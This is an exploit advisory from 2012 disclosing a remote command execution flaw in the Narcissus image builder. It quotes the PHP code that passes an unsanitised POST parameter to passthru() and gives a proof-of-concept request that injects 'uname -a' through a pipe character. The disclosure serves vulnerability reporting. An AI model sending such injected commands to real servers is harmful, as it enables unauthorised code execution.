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Narcissus Remote Command Execution

Narcissus Remote Command Execution
Posted Nov 15, 2012
Authored by dun

Narcissus online image builder suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | 1e7e866c2471ee4f3e78a4cbfbe1c015cc3162c100922051cb553dfb05ba2c43

Narcissus Remote Command Execution

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[ Discovered by dun \ posdub[at]gmail.com ]
[ 2012-11-13 ]
##########################################################
# [ Narcissus ] Remote Command Execution Vulnerability #
##########################################################
#
# Script: "Narcissus - Online image builder for the angstrom distribution"
#
# Vendor: http://www.angstrom-distribution.org/
# Download: https://github.com/Angstrom-distribution/narcissus
#
# Vendor was informed some time ago, but did not respond yet.
#
##########################################################
#
# [ Remote Command Execution ]
#
# File: /narcissus/backend.php ( lines: 10-183 ):
# ..cut..
# if (isset($_POST["action"]) && $_POST["action"] != "") {
# $action = $_POST["action"]; // 1
# } else {
# print "Invalid action: $action";
# exit;
# }
#
# if (isset($_POST["machine"])) {
# $machine = escapeshellcmd(basename($_POST["machine"])); // 2
# } else {
# print "Invalid machine";
# exit;
# }
# ..cut..
# if (isset($_POST["release"]) && $_POST["release"] != "") {
# $release = $_POST["release"]; // 3
# } else {
# $release = "stable";
# }
# ..cut..
# switch($action) {
# ..cut..
# case "configure_image": // 4
# print "configuring\n";
# configure_image($machine, $name, $release); // 5
# break;
# ..cut..
# function configure_image($machine, $name, $release) {
# print "Machine: $machine, name: $name\n";
# passthru ("scripts/configure-image.sh $machine $name-image $release && exit"); // 6 [RCE]
# }
# ..cut..
#
# Vuln:
# http://localhost/narcissus/backend.php
#
# POST /narcissus/backend.php HTTP/1.1
# Host: localhost
# User-Agent: Mozilla/5.0 Gecko/20100101 Firefox/16.0
# Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# Accept-Language: pl,en-us;q=0.7,en;q=0.3
# Accept-Encoding: gzip, deflate
# Connection: keep-alive
# Content-Type: application/x-www-form-urlencoded
# Content-Length: 50
# machine=0&action=configure_image&release=|uname -a
#
### [ dun / 2012 ] #######################################

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